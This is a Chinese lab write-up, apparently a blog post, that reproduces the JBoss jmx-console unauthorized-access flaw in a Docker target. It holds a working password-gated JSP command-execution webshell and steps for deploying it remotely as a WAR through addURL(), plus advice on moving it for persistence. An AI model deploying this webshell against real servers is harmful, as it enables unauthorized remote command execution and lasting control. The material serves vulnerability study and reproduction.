Jboss未授权访问漏洞复现

概要

在低版本的 JBoss 中,默认可以访问 JBoss Web 控制台(http://IP:8080/jmx-console),无需用户名和密码。通过 JBoss 未授权访问管理控制台的漏洞,可以进行后台服务管理,可以通过脚本命令执行系统命令,如反弹 shell、wget 写 Webshell 文件。

靶场搭建

这里使用docker搭建Jboss漏洞靶场:

#搜索JBoss环境
docker search testjboss
 
#选择需要的环境
docker pull testjboss/jboss
 
#实例化testjboss/jboss镜像
docker run -d-p 8088:8080 testjboss/jboss

我的虚拟机IP:192.168.1.129,即靶场地址为:

http://192.168.1.129:8088/

在这里插入图片描述

漏洞复现

一、通过addURL()远程部署利用

1、将jsp文件压缩成war格式的文件,压缩命令:

jar cvf one.war one.jsp

在这里插入图片描述
jsp内容:

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;          
        byte[] b = new byte[1024];          
        out.print("<pre>");          
        while((a=in.read(b))!=-1){
            out.println(new String(b));          
        }
        out.print("</pre>");
    } 
%>

2、将war包上传到自己的服务器,可以利用命令:python -m http.server 8001搭建一个http服务供下载war包。
在这里插入图片描述
3、Jboxx4.x /jmx-console/ 后台存在未授权访问,找到jboss.deployment(jboss 自带的部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过 url 的方式远程部署)
在这里插入图片描述
在这里插入图片描述
4、 找到页面中的void addURL()选项来远程加载war包来部署。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
5、接下来查看是否部署成功,返回到刚进入jmx-console的页面,找到 jboss.web.deployment,如下说明部署成功。如果没显示,多刷新几次页面或者等会儿,直到看到有部署的war包即可。
在这里插入图片描述
6、接下来直接访问上传的webshell,成功访问。
在这里插入图片描述

#通常像上面这样部署的webshell,物理路径默认都会在以下目录下 \jboss-4.2.3.GA\server\default\tmp\deploy\xxx.war
#这个目录只能临时用,还需要把shell转移到jmx-console的默认目录来巩固权限 \jboss-4.2.3.GA\server\default\deploy\jmx-console.war

二、利用工具直接反弹shell

在这里插入图片描述

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值